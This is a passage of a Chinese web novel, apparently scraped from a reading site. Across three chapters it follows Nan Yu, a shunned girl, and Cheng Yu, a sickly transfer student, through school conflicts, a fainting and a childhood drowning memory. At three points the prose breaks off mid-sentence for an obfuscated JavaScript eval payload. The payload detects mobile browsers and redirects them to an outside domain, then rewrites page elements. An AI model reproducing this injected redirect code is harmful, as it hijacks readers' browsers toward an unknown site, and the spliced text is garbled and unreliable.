南鱼想起来九岁那年,她刚遇到程遇的时候。 一个小胖子围着他对他拳打脚踢,他坐在地上缩成一团没有反抗,眼神麻木。 他被打的太惨了,南鱼实在看不下去了,于是拔刀相助了,她三两拳就赶走了那个小胖子。 “喂,你怎么不还手?”看着面前瘦弱的风一吹几乎就要倒的男生,南鱼忍不住问他。 程遇僵硬的抬起头,他的额头还有些红肿,他抿了抿唇,有些艰涩的开口:“还手就不会挨打了么?” 南鱼翻了个白眼:“当然啊!你要使劲反抗,谁欺负你揍他一顿他就不敢打你了。” 程遇垂下了眼没有说话,不知道在想什么。 南鱼见他不说话了,也懒得再理他转身就走。 程遇从地上站起来沉默的跟在她的身后。 太阳即将落山,火红的夕阳将光洒下,照亮了整个巷子,将一前一后女孩儿男孩儿的身影拉长,投在了用红砖和泥巴砌成的墙上。 南鱼被跟了很久,她停下了脚步,转过身不耐烦的看着身后的人说:“你一直跟着我干嘛?” 程遇清澈的眼看着她说:“我想和你做朋友。” “朋友?”南鱼不解的拧着眉毛,她指了指自己,“你不知道我是谁么?” 程遇摇了摇头。 “我爸是杀人犯,镇上的所有小孩儿都不喜欢我,”南鱼说,“他们都说我是坏人生的孩子,也是坏人。” “不,我觉得你是好人,”程遇认真的说,“我想和你做朋友。” 男孩儿的眼睛亮晶晶的,南鱼有些不好意思的看向别处,嘟囔了一句:“你这人还真是奇怪。” 程遇笑了笑,一脸干净纯粹,“是么?那你愿意和我这个奇怪的人做朋友么?” 他太真诚了,南鱼心咚咚的在胸膛乱跳,她别扭的丢下一句“谁要跟你做朋友”就小跑着离开了。 从那天以后,程遇一直跟在南鱼身后。南鱼冷着脸拒绝他了很多次要做朋友的提议,但他仍旧不放弃。 …… 南鱼收回思绪,神色缓和不少,也不再坚持让程遇拆书皮了。 她将自己的桌子往墙那再靠了靠,与程遇之间拉开一条缝隙。 “以后井水不犯河水。” 缝隙很窄,但却分明。 看来南鱼是彻底不想和他沾上关系。 程遇敛去眼神,也没有再多说什么。 南鱼又趴桌子上睡了一节课。 下课铃声一响,刘德旋和刘愿生从后门进来找南鱼。 程遇被班主任找,他起身从后门看到了他们。这两个男生他也是都见过的,是那天拆理发店的其中两个人。 “靠!他竟然坐在南姐旁边!”刘德旋也认出了程遇,他捋了捋袖子,拉上刘愿生朝着程遇冲了过去,“那天没收拾了他,走!咱俩今天必须得揍他一顿。” 刘德旋想从背后去拎程遇衣领,但手还没碰到他就被拍掉。 “你干什么?”南鱼不知道什么时候醒了,她站在刘德旋旁边,冷脸问。 “南姐,这个不就是那天报警的人么?我想揍他一顿报仇。”刘德旋手被拍的有点疼,有些委屈的看着南鱼。 刘愿生在一旁说:“对啊,南姐,该报仇!” “报什么仇,这是在学校,在学校别找事儿。”南鱼说。 “况且,他已经跟我道歉了,”南鱼顿了一下,补充道,“这事儿已经过去了,以后不许再找他麻烦。” 刘德旋和刘愿生还想再说什么,南鱼一个眼神他俩立马闭嘴。 打不能打,刘德旋心里有些憋屈。 南鱼去讲台旁大垃圾桶扔垃圾,刘德旋和刘愿生一起挤在程凳子上。 刘德旋瞥到程遇书桌上崭新的书本,一个邪恶的念头油然而生。 他从口袋里掏出来一根今早刚从讲台上拿的彩色粉笔,抓起程遇的课本在上面发泄般的涂了涂。 刘愿生凑过去,也想加入干坏事行列:“给我一根,我也要涂。” “给。”刘德旋把粉笔掰了一半给刘愿生。 他递粉笔的手再次被拍掉。 刘德旋:…… 刘愿生:…… 南鱼有些头疼,她就扔了个垃圾,一会儿的功夫,这两个人把程遇的书本上涂的乱七八糟的,根本就没法看。 “你俩给我出去,”南鱼气笑了,她指着教室门,“现在!立刻!马上!” 刘德旋和刘愿生灰溜溜的离开了。 南鱼翻了一下那几本被毁的书,幸好画的不多,都是前面几页,还能凑合看。 她正想着该如何跟程遇解释这件事儿时,程遇回来了。 彼时她还拿着被毁的书,南鱼被抓了个现行。 “抱歉,你的这几本书被我朋友画上了粉笔,”南鱼坦荡的道歉,“这几本书我和你换一下,我的还没写名字。” “没事。”程遇站在桌子旁,从桌子上拿起一本,翻页看了下,摇头道。 “我说真的,这些书对我也没太大用处,我和你换一下吧。”南鱼观察着程遇表情,他面色平淡,看不出他生气与否,于是再次提议。 “真不用,”程遇笑了下,他拎着书说,“不影响,这些内容我都学过了。” 南鱼:…… 行吧,不换就不换。 说什么学过了。 装货。 南鱼在下午上数学课的时候才知道程遇并没有装。 下午上课,数学老师给大家发了上学期期末的考试卷子,说在学新课之前先把以前的内容再过一遍。 程遇没有卷子,老师让她和南鱼先看一张。 南鱼明显不想分享试卷。 “麻烦你了,”程遇伸手笑着说,“作为同学,你应该会帮我这一个小忙吧,要不然我就没办法听课。” 南鱼仍旧没有拿出来试卷的意思。 程遇叹气,“上午我的书才刚被画……” 南鱼:…… “给你。”她不情不愿的把卷子递给程遇。 程遇弯了弯唇,“谢谢。” 接过试卷,程遇瞥了一眼她的分数。 42分。 好家伙,真低啊,还没他的零头高。 “啪”的一声,分数被文具盒盖住。 程遇抬头,南鱼面无表情,“看我干什么?” “没什么。”程遇摇头。 南鱼不再理他,低头开始看课外书。 程遇张了张口,终究是没说什么。 下午,数学课。 这两个词组合在一起看着就容易犯困。 过了大半节课,南鱼昏昏欲睡。 数学老师在上面讲得激情四射,唾沫飞溅。 讲到填空题最后一题时,他喝了口水说:“这一题是去年的一道高考题,大家有没有会做的?” “有没有人会做的?说一下自己的答案。” 班内鸦雀无声,数学老师推了推眼镜,看了一圈,大家的头都恨不得低到桌子底下,生怕点到自己名字。 “程遇,是叫程遇吧?”数学老师看向教室后排,“来来来,我听你班主任说你是从槐州一中转过来的对吧,这道题你会做么?” 被点到名字,程遇站了起来。 “会做。” “你来把答案告诉大家。”数学老师说。 程遇报了答案。 数学老师欣赏的看着他,“不错,你怎么算的,来黑板上给大家写一下。” 程遇上了讲台,拿起粉笔在黑板上写下来了计算过程。 “……根据焦点三角形中的余弦定理,4c?=m?+n?-2mncosθ=(m+n)?-2mn-2mncosθ……” “好,程遇写的过程是正确的,”数学老师满意的点头,他拿起粉笔在黑板上画了画公式,“这是一道超纲题,是我们这学期才学的内容,程遇把它做出来了,可见人家早早的预习过了课本,大家以后要向他多学习……” 接下来的几分钟,数学课变成了教育课,数学老师在上面滔滔不绝的讲学习理念,时不时的夸两句程遇。 南鱼看了一眼旁边的人,被数学老师夸奖,他脸上也没有骄傲的神情,他坐姿笔直端庄,一如既往的淡然。 数学老师讲到了下课,他讲得口干舌燥,听到下课铃声拿起自己的保温杯慢悠悠的离开了教室。 万高达立马转过来身,崇拜的看着程遇,“我去,哥们儿,你真牛啊,老阳从来不夸人的,你是第一个啊!” “你学习成绩这么好,以后你的作业我能预定一下么?” “预定?”程遇不解。 万高达:“就是你写完作业能让我先抄抄么?” “不能。”程遇拒绝的干脆。 万高达双手捂着胸口,作出心痛的表情,“你好无情,好冷漠。” “你有不会的可以问我。”程遇说。 万高达:“再见!” 程遇将卷子的最后一道大题订正完毕后才把卷子还给南鱼,“这些题我都改过了,你有哪些看不懂的可以问我。” “……”南鱼看了眼写得密密麻麻答案的卷子,轻嗤一声,“你是不是有点多管闲事儿了?” “有么?”程遇笑了下,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283273|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉得。” 南鱼:“……” “我不学习,以后少烦我。”南鱼把卷子往抽屉里随便一塞,带上耳机就开始低头看手机。 程遇习惯了她的这幅态度,抽出来一本新发的练习册开始做题。 最后一节课是自习,徐奇只进班了两分钟让班长坐讲台上维护纪律,就匆匆忙忙的去开会了。 班里的同学大部分都还没进入学习状态,干什么的都有。 南鱼坐在那里也不说话,安安静静的看小说。 程遇沉浸在题海中,做了一节课的题。 放学铃声一响,有人解放般地欢呼了一声,拎着书包就往外跑。 程遇慢悠悠地收拾着东西。 刘德旋和刘愿生已经到教室后门等南鱼了。 “南姐,走哇!去上网!” 南鱼拎着书包朝他们走过去,三个人一同离开。 程遇收拾好东西下楼,已经看不到南鱼的身影。 他出了校门,爷爷程国升已经在等他了。 “爷爷?你怎么来了?”程遇走到他身边问。 “你第一天上学,你奶奶不放心你,让我来接你。”程国升说。 程遇有些哭笑不得,“我都这么大了。” “再大在我们眼里也是小孩,”程国升笑眯眯的说,“走吧,你奶奶今天给你炖了鸡肉,就等着你放学呢。” “好。”程遇点了点头,心中一阵暖意涌过。 爷孙俩人并肩往家走。 回到家,刘雁花已经做好饭了,院子里飘着一阵肉香。 “真香啊。”一进门,程国升就感叹了一句。 “你们俩快洗手,我把饭盛出来。”刘雁花笑道。 爷孙俩洗了手,坐到饭桌面前,刘雁花已经把饭盛好了。 刘雁花炒了两道菜,一道酱炒鸡肉,一道酸辣土豆丝。 刘雁花往程遇碗里夹肉,“在学校怎么样?还适应么?” “还行。”程遇垂眸回道。 “那就行,这比不上市里面,也不知道会不会耽误你学习。”刘雁花有些担忧。 “这儿的老师也都挺好的,”程遇说。 “那就好,那就好,”刘雁花突然想起来,问,“哎,你被安排到哪个位置坐了?” 程遇:“最后一排。” “那不行哟!明天我得再去找找你班主任,看能不能给你调个好位置,最后一排怎么行。”刘雁花说。 程遇摇摇头:“不用,我坐哪都一样的。” “那怎么一样,”刘雁花嘟囔了一句,又多问了一句,“你同桌叫什么名字?是哪家的孩子?” “南鱼。” 听到这个名字,刘雁花脸色立刻变了,她放下筷子,“你怎么跟她坐同桌?她可不是什么好孩子,你忘了,你小的时候因为和她一起玩,被别人推到河里……” 程遇也放下了筷子,打断了她的话,认真的说:“奶奶,她挺好的。” “今天有人在我书上乱画,她帮我赶跑了那人,还要把她的书换给我。” “再说了,小时候我不是因为她被推到河里的,您也清楚那件事是谁做的。” 刘雁花哑口无言。 “行了,吃饭吧,相信小遇,他都这么大人了,能处理好这些事儿。”程国升拿筷子敲了敲碗边,打断了这段谈话。 许是因为提到了程遇小时候落水的话题,在接下来吃饭过程用,饭桌上没有人再说话,都是沉默的吃饭。 一顿饭结束,程遇回到了房间,坐在书桌面前看着漆黑的窗外。 门咔嚓一声响,程遇回头看,刘雁花走了进来。 她端了杯牛奶放到书桌上,在床边坐了下来。 “小遇,那件事,终究是我们对不起你。”刘雁花不停地叹气。 “都过去了。”程遇表情很淡。 “你别恨你弟弟,那时候他还小,奶奶是不希望这个家散了,”刘雁花接着说,“以后这个话题别在你爸和她面前提。” 程遇沉默了,他眼眸低垂,隐忍地握紧了拳,良久,他抬头,看到奶奶花白的头发和皱纹,又默默地松开。 他僵硬的扯了扯嘴角,说:“您放心,事情都过了那么久,我不恨他了。” “我也不会在他们面前提这个事儿。” “好孩子。”刘雁花摸了摸程遇的头发。 聊完,刘雁花起身离开,她叮嘱程遇,“一会儿把牛奶喝了。” 程遇点头。 刘雁花离开了。 关上房门的时候,程遇听到她轻轻的说了一句。 “真是造孽啊。” 5. 第 5 章 “造孽哟,我的花生在地里种得好好的,谁给我拔了。”奶奶又一次在南鱼耳边念叨。 从昨天放学回家到今天早上,她说了不下八遍。 南鱼也没听得不耐烦,她哄着奶奶说:“您放心,我这两天放学了多去地里转转,看能不能抓到这个人。” “好哟,一定得帮我抓到这个人,我看看是谁敢拔我王秀芬的花生,真当我是好惹的。”奶奶气呼呼的说。 “是是是,您一点也不好惹。”南鱼笑着接话。 南鱼奶奶确实不好惹,当初南鱼父母过世,面对镇上人的排挤和白眼,她一个人把南鱼拉扯大也不容易,三天两头就和人吵架,能把人家骂到见了她就绕道走。 不过现在年龄大了,镇上也很少有人提起当年那些事,她的脾气这才缓和不少。 南鱼吃完饭,又看着奶奶吃完饭才去学校。 刘德旋和刘愿生两人一起在大路口等她。 见到南鱼,刘愿生问:“南姐,你今天怎么没穿校服?” “你完了,”刘德旋同情的看着她,“今天有开学典礼,必须得穿校服,你这样子被老阎抓到得把你拎到升旗台上批斗。” 老阎,本命王阎,是他们年级的教导主任。 “南姐,你回去换衣服吧。”刘愿生建议。 “不回,”南鱼打了个哈欠,“谁说开学典礼一定要去,我困死了。” 刘德旋:“你不去徐奇会同意?” 南鱼翻了个白眼:“管他干什么,我能去跟他说?” “也是。” 三人快到校门口,远远看到老阎和另外两个年级的教导主任站在大门口拦人。 —忘记穿校服的那些全都被拦在校门出排成一排等候发落。 刘德旋看了眼南鱼:“你完了。” 南鱼上下打量他了一下。 刘德旋抱紧胸前:“士可杀不可辱,衣服不能脱。” “谁稀罕穿你的。”南鱼无语。 刘愿生把外套脱下来递给南鱼,“南姐,你穿我的吧。” “嘿,你个刘愿生,这样倒显得我不仁义了,”刘德旋麻溜地也把自己的外套脱了下来,“南姐,穿我的!刚才给你开玩笑呢!” “你俩的我谁都不穿。”南鱼懒洋洋的说。 刘德旋:“那你岂不是要被老阎抓走了?” “我翻过去,”南鱼伸了伸懒腰,“你俩先过去吧。” “那行,你慢点。” 刘德旋差点忘了,他们之前一起翻过好多次墙。 所以他俩也没多担心南鱼,先从大门进了学校。 南鱼绕开学校大门口那几个教导主任的视线到墙边,她将书包先丢了进去,往后退了几步准备助跑借力往上爬。 她刚迈步,就被一只手拉住胳膊。 南鱼:…… 她还以为被发现了,低头看了眼在自己胳膊上的手。 那只手骨节分明,皮肤透白,明显不是老师的手。 南鱼一下就怒了,她往后看向手的主人,“是谁?” 谁这么大胆的敢拦她。 她回过头,对上一双波澜不惊的眼。 “你这是要翻过去?”程遇问。 南鱼反问:“是又怎么样?” “太危险了。”程遇说。 南鱼皱了下眉,“跟你有什么关系,快松开我。” 程遇上下打量她,“是因为没穿校服么?” “你说呢?”南鱼被他折磨的没脾气,“所以你现在能松开我了么?” 程遇松开了她。 南鱼摩拳擦掌,再次准备助跑。 “你穿我的,别翻了。”程遇把校服脱下来丢到南鱼身上。 校服一下挡住南鱼视线,助跑准备再次失败。 南鱼气急败坏的把校服从自己头顶拿下来。 “喂!我说你……” 程遇已经转身离开了。 南鱼拿着校服,校服上还残留着程遇身上的温度,她一时愣住了。 再反应过来时,程遇已经消失在了拐角。 南鱼拿着校服站到拐角处,她看到程遇已经被老阎逮到,靠着墙站好。 站好后,他还有意识的朝着南鱼的方向看了一眼。 南鱼心情复杂,她抿了下唇,把校服外套穿在自己身上。 程遇个子很高,校服外套穿在南鱼身上很大,她把袖子往上扁了扁,单肩背上书包往校门口走。 经过程遇时,南鱼顿了一下脚步朝他看过去。 脱去外套,程遇里面穿了一件黑色T恤,许是黑色衣服衬得,他的皮肤看起来白得过分,不是正常的,是有些病恹的白。 少年轮廓分明,眉眼清俊,五官没有很强的攻击性,看起来很是温和。 察觉到南鱼的目光,程遇抬起头看她。 他的眼眸漆黑深邃,带着些许的锋芒。 抬眸的瞬间,南鱼注意到,他的睫毛又长又翘,双眼皮的褶皱很深。 目光相对,程遇倏地冲她弯了下唇。 清晨的阳光有些晃眼,南鱼恍惚了一下。 少年清朗如月,温润无双。 “快进去。”程遇无声的说。 读懂唇语,南鱼冲他点头,往学校里面走。 她脚刚迈进大门,就被老阎叫住。 “那个没穿校裤的同学,给我站住。” 南鱼还不知道说的是她,老阎看她完全没有停下来的意思,伸手去拉她的衣领。 “回来,说的是你,去哪呢?”他把南鱼拽了回来。 南鱼不爽,“你拉我干什么?我穿校服了。” “但你没穿校裤。”老阎说。 南鱼:? 这也行。 “去那站着去。”老阎指着程遇旁边的位置。 南鱼看了眼程遇,这是在大门口,她不想惹事儿,慢悠悠的走到程遇旁边站好。 “抱歉,”程遇说,“没想到他们还看校裤。” “你说什么抱歉,是我穿了你的衣服,我连累你站这儿的。”南鱼说。 “哦,那扯平了。” 南鱼不明白他在想什么,正准备再说些什么,老阎一个眼刀丢过来,指着他俩,“不许交头接耳!” 南鱼闭上了嘴。 上课铃声响起,老阎和另外两个年级的教导主任一起过来查人。 这次抓了不少,有十个。 他们很满意,雄赳赳气昂昂的带着他们往操场走。 三个教导主任前后夹击,南鱼排着队跟在后面,她觉得他们像是个战败的俘虏,这三个教导主任是敌国的将军,抓着他们得意的去向皇帝邀功。 开学典礼9点正式开始,南鱼他们被带到了升旗台上站着。 经历了各个校领导发言,各年级代表发言后,终于轮到了对南鱼他们的批判大会。 太阳很大,南鱼觉得自己快要被晒蔫了。 教导主任还在上面长篇大论,严厉批评不穿校服的行为。 南鱼不知道他们说那么多口干不干,反正她自己是快要干死了。 正说到慷慨激昂的地方,南鱼听到底下学生一阵惊呼,她只觉得身边一晃,程遇倒在了地上。 操场上的广播喇叭寂静了下来,南鱼看到程遇脸色苍白的躺在地上。 她脑袋一片空白,身体却先比脑袋快了一步。 她抱起程遇,咬牙切齿的对围观的人说:“快让开!” 程遇没有她想象的那么重,他很轻,南鱼才发现他真的很瘦,瘦到他的骨头十分硌人。 南鱼抱着他往教务室冲,她的身后跟了一大群老师领导。 南鱼不敢跑得太快,但也不敢太慢。 她跑到医务室时,已经浑身大汗。 “程遇,老师,快看看程遇。”南鱼把程遇放到床上,医务室值班的医生赶忙过来。 “你先出去,我给他检查一下。”医生说。 南鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283274|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绷着脸看了他一眼,默不作声地退出了病房。 出了病房,南鱼坐在外面的凳子上,她的手都是颤抖的。 她真的很害怕,害怕出现七年前的情况。 身后跟着过来的领导进了病房,一大群人把病房门口围的严严实实。 他们在七嘴八舌的讨论着什么。 南鱼觉得他们很吵很吵。 “都闭嘴!能不能让程遇安静一点!”南鱼冲着他们怒吼。 在场所有人都愣住了,其中徐奇反应过来。 他指着南鱼:“你先给我回教室。” 南鱼没动。 “南鱼!”徐奇抬高了声音,“这不是你呆的地方,快回去!” 南鱼仍旧没动。 徐奇要发火,他旁边的一个年轻女老师拦住了他。 她温柔的对南鱼说:“南鱼,听话,先回去,等程遇醒了老师回去告诉你好么?这里人太多了,你在这儿也帮不上什么忙。” 沉默了良久,南鱼僵硬地点了点头,机械地往教室去。 出了这种意外,操场上的学生早已被安排回到教室。 南鱼进了教室,许多视线落在她身上。 她全然不在意,回去坐到了自己的座位上。 万高达转身问她:“程遇怎么样了?” 南鱼摇了摇头。 “啊,你也不知道啊,”万高达张了张嘴,“刚才他往那一倒,可把人吓坏了。” 南鱼不说话,万高达也不自找没趣,又转了回去。 南鱼疲惫的趴在桌子上,她回忆起,那年,也是因为她,程遇受了伤。 那是在秋天的一个下午,是南鱼答应和程遇做好朋友的第二月。 他们两人约好在小河边见面一起烤红薯,却没想到,南鱼赶到那儿时,却看到程遇被人推到了河里。 那人捂得严实,她看不清脸。看到她,那人迅速地逃跑。 南鱼没有去追,河里程遇在呼救,南鱼想都没想地就跳了下去救他。 程遇挣扎的太厉害了,南鱼费了很大的力气才把他拉上来。 被救上来时,程遇脸色惨白。 南鱼压他肚子里的水,他吐出来不少,但他还没有醒。 南鱼哭着背起程遇往镇上的医院跑,她用尽了全身最大的力气跑得飞快,她把程遇送到了医院。 她胳膊环着腿靠墙坐下,天气很凉,南鱼身上湿透了,风一吹,她瑟瑟发抖。 没过多久,程遇的家人来了。 了解了情况,看到她,刘雁花边哭边拉她,“你滚,你差点害死他你知不知道!都是因为你他才被别人推进水里,都是因为你!你快滚……” 围观的人用鄙夷的像是看垃圾的眼神看着她,毫不遮掩的对她指指点点,南鱼听到,他们说她是坏坯子,说她家里基因不好生下来就不是什么好东西,说她是个祸害。 南鱼白着一张脸站在那任凭老人和他人的辱骂,她垂着眼握紧拳头,咬紧嘴唇眼睛通红。 是她害了程遇,是她,如果不是因为跟她做朋友,程遇怎么会被人推到河里,怎么会躺在医院里昏迷不醒。 不能再害他了,他是那么一个好的人,他是第一个愿意和她做朋友的人,不能再害他了。 南鱼低着头,一直说“对不起”,她对他有很多的歉意,她不应该和他做朋友的。 刘雁花一口气没上来昏了过去,医院门口乱成一团。没有人再理会南鱼,她就像被人忘记了一样,孤零零的站在那。 直到奶奶找来,她红着眼叫南鱼:“乖鱼儿,跟奶奶回家。” 南鱼抬头看到她,那一瞬间,像是找到依靠,她的眼泪终于掉了下来,一滴又一滴的,掉落在水泥地上,砸出了一个个深色的痕迹。 委屈无处发泄,她扑到了奶奶的怀里,一声又一声的喊着“奶奶”,奶奶用那双布满老茧的手放在她的头发上,颤着声音叹了声气。 也就是那天,南鱼再也没有去见程遇。 6. 第 6 章 程遇有一周没去学校。 南鱼仍旧像往常一样上课睡觉,下课和刘德旋他们一起说话打游戏。 只不过,她总是看着程遇的位置发呆。 从那天以后,南鱼就把自己的桌椅搬到了教室的另一边。徐奇注意到,也没有说什么,只要南鱼不影响其他人就行。 程遇才来了两天,和其他人不熟,唯一熟一点的就是万高达。 南鱼想知道程遇的情况,于是找了万高达。 隐晦的提了自己的想法后,万高达拍了下胸脯立马应下,“没问题!我去程遇家看看!” “那个……”南鱼顿了一下,再次开口,“不要让他知道我让你去的。” “放心吧,我不会出卖你的!”万高达打包票,“正好我也想去看看他。” 南鱼道了声谢。 放学后,刘德旋和刘愿生依旧在后门等南鱼。 南鱼拎上书包出门。 “南姐,今天铁哥说要我们去他那玩儿,”刘德旋凑到她身边说,“他说他也给你发信息了,你没回他。” “我今天得先去一趟网吧,再去KTV上班。”南鱼说。 “我怎么记得你今天不用上班?”刘愿生在一旁接话。 “洲哥说今晚他那人多,让我去帮忙。” 刘德旋挠头, “好吧,那我跟铁哥说一声吧。” 到了网吧,南鱼和他们分开。 她进了网吧,在前台开了一个小时的机子。 坐到电脑面前,南鱼从书包里掏出来一个本子打开放到桌子上,在电脑上建了一个文档,把本子上写的东西一字不差的输进去。 内容差不多半个多小时才输完,输完后,她保存文档打开邮箱把文件拖到邮箱里发了过去。 做完这一切,南鱼伸了个懒腰,打开□□找到昵称是【木头】的人点开对话框。 19:20:21。 【鱼】:新稿子发过去了。 19:20:23 【木头】:收到啦!(^V^) 【木头】:让我看看是一个什么样动人心魄的故事! 19:20:55 【鱼】:你猜? 19:21:03 【木头】:不会又是BE吧(?Д`) 19:21:42 【鱼】:不是。 19:21:50 【木头】:那就好,那就好o(^▽^)o 19:21:55 【鱼】:这次双死,算HE。 19:23:00 【木头】:!!!!!!Σ(?д?lll) 南鱼想象了一下木头的反应,忍不住弯了下唇。 网吧里人越来越多,南鱼关掉了电脑。 她把笔记本装到书包里,背上书包出了网吧。 木头是南鱼投稿杂志社的一个编辑,她俩是在三年前认识的。 从三年前南鱼在买来的杂志上看到征稿的信息,尝试投稿了几次被采用后,她们就加了好友,后续南鱼投稿的小说都由她来审核,两人在相处中也称得上是一个朋友。 南鱼打电话告诉奶奶她晚上不回去吃饭让她先吃,奶奶不乐意,她好声好气地哄着奶奶说回去给她带烤串,奶奶最终才松口,说要吃辣的烤串,不辣的不吃。 南鱼笑着说好。 挂断电话前,南鱼又提醒了一遍奶奶记得吃药。 老太太也开始嫌她罗嗦了,说着知道了就挂了电话。 南鱼叹了下气。 老太太现在脾气越来越大了,还是得哄着。 南鱼到KTV的时候,孙邢洲正在门口站着边抽烟边和前台小姑娘说话。 也不知道他说了句什么,前台小姑娘一阵脸红。 “洲哥。”南鱼叫他。 “来了,”孙邢洲冲她点头,他弹弹烟灰,笑着说,“今天可得加油啊,有钱的大老板回来了,能卖出去多少就看你本事了。” “行。”南鱼点头。 她把外套脱掉,和书包一起放到前面的柜子里,从柜子里又拿出来一件黑衬衫去洗手间换上。 接着十分娴熟的从冰柜里拿了几种品类的啤酒往包间走。 在KTV卖酒也是南来挣钱的兼职之一。 说好听点是卖酒,其实是陪酒。 但来钱快,提成高,只需要靠一张嘴,就能取得还算可以的薪酬。 所以南鱼在这干了也快一年,最开始的时候还是刘铁介绍她来的。 孙邢洲看她还是个没有发育好的小姑娘,一开始不乐意要她。那时候在包间坐着,南鱼抓起桌子上的一瓶啤酒直接对瓶吹了,喝完,南鱼将啤酒瓶倒过来,面不改色的看着孙邢洲说:“可以么?” 孙邢洲先是愣了一下,随后笑着鼓掌:“可以可以!太可以了!人不可貌相啊,小姑娘。” “不过呢,咱这一行可不是光靠能喝,得靠嘴,看你能不能让顾客买下你手中的酒。”孙邢洲脚踩着桌子靠在沙发上看着南鱼。 南鱼神色里没有一丝胆怯,“我可以试试。” 这一试,南鱼就留了下来。 相处下来,孙邢洲发现她这人还真是机灵,见人说人话见鬼说鬼话。 不过脾气是真倔,有一些骂她家人的,她直接和人在这里打了起来,并且抵死不道歉,以后也从不招呼这些顾客。 这给孙邢洲带来了一些麻烦,不过他欣赏南鱼,也没有因此把她辞了。 南鱼拿着啤酒进了包间,里面一些大腹便便的男人们在唱歌,有的怀里还搂着一个娇滴滴的小美女。 听到开门声,一些男人看向她。 “哟,这里竟然还有学生妹啊!”一个坐在沙发最左侧的有些秃顶的男人朝着南鱼坏笑,“学生妹怎么不去上学啊?” 被调侃,南鱼没生气。 她笑着把手中的啤酒摆在桌子上,拿起开瓶器打开了一瓶,倒了几杯酒递给这群男人。 “当然是来陪大哥们来喝酒了。”南鱼笑。 “来来来,小妹妹,要不要坐哥怀里喝。”秃顶男人色迷迷的看着她。 “您这是说的哪里的话,我们老板听了可是要扣我钱的,”南鱼面带微笑,她站在桌子旁边,拿起一瓶酒,对着沙发上坐着的几个男人说,“听老板说,各位大哥都是厉害人物,让我跟着各位大哥多聊聊天学学知识,我先敬大哥们一瓶。” 说着,她仰头熟练地灌下了一瓶酒。 “好!”男人在包间欢呼。 ...... 孙邢洲靠在门外的墙边,听到南鱼搞定了他们,掐灭了烟头丢在地上踩了踩离开了。 他拿上外套出门,正好碰到了刘铁。 刘铁问他:“南鱼呢?” 孙邢洲:“陪酒呢。” 刘铁皱了皱眉:“她还喝?” 孙邢洲笑了下:“不是你介绍她来这上班的?” “我也没让她拿命赚钱啊。”刘铁眉头皱的更紧了。 孙邢洲耸耸肩没说话,临走时,他拍了拍刘铁的肩膀,笑道:“郎有情妾无意啊!” “滚蛋!”刘铁骂他。 孙邢洲摇摇头,笑着离开了。 刘铁往里走,南鱼刚好从包间里出来。 “你怎么来了?”南鱼惊讶,“你不是跟刘德旋他们在一起呢?” “别干了,南鱼。”刘铁看着她说。 “为什么不干?”南鱼拿了一瓶矿泉水喝。 空腹喝下一瓶酒,她的胃里火辣辣的。 “你上次都喝成那样了......”刘铁顿了一下,“对你身体不好。” “我没事,”南鱼笑笑,“我身体好着呢!” “再说了,我不赚钱老太太的病怎么办?” 南鱼倚着墙,KTV灯光昏暗,她的脸一半隐在阴影中,虽然唇角带着笑,但刘铁注意到,她脸上有一些淡淡的哀愁。 南鱼带烤串回到家,奶奶已经睡下了。 她把烤串包好放到冰箱里,洗漱好躺床上,怎么也睡不着。 翻了一个身,南鱼看到挂在衣柜外面的那个宽大的校服,她又从床上爬了起来。 把校服工工整整的叠好塞到书包里,她才又躺了回去。 这一次,她睡着的很快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283275|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夜无梦。 心里藏着事儿,没等刘德旋他们,南鱼早早的到了学校。 等了有一会儿,万高达才来学校。 他一进教室,把书包放座位上就立马去找南鱼。 “我昨天一放学就去了程遇家里,程遇奶奶可热情了,又是给我吃瓜子,又是给我吃刚蒸好的包子,我都不好意思了......” 南鱼有些头疼:“说重点。” “重点,哦!对!我去看程遇了,程遇好好的呢,他坐在那看书呢,跟没事儿人一样!”万高达说,“他还挺意外我去找他的,毕竟我俩其实也不怎么熟。” “对了,我没有跟他说是你让我去看他的,不过他给你写了一封信说让我给你,”万高达从兜里掏出来一个皱巴巴的纸递过去,他不好意思的嘿嘿一笑,“我放兜里给折了,不过你放心,这封信的内容我一个字都没看,我可以对天发誓!” 说着,万高达朝天竖起手指。 “谢谢。”南鱼对他说。 “害!客气啥,大家都是同学,”万高达不好意思地挠头,“还有就是程遇说他这两天就来上学了。” 南鱼点了下头,她从书包里拿出来一瓶可乐递给他,“谢礼。” “不用,不用,”万高达连忙摆手拒绝,“我也没帮什么忙。” “拿着!”南鱼强硬塞给他。 万高达红着脸,小声的说了一句:“其实我觉得你不像别人口中说的那么坏。” “是么?”南鱼笑了笑。 万高达回到了自己的座位上,南鱼把程遇给她的那个纸条拆开。 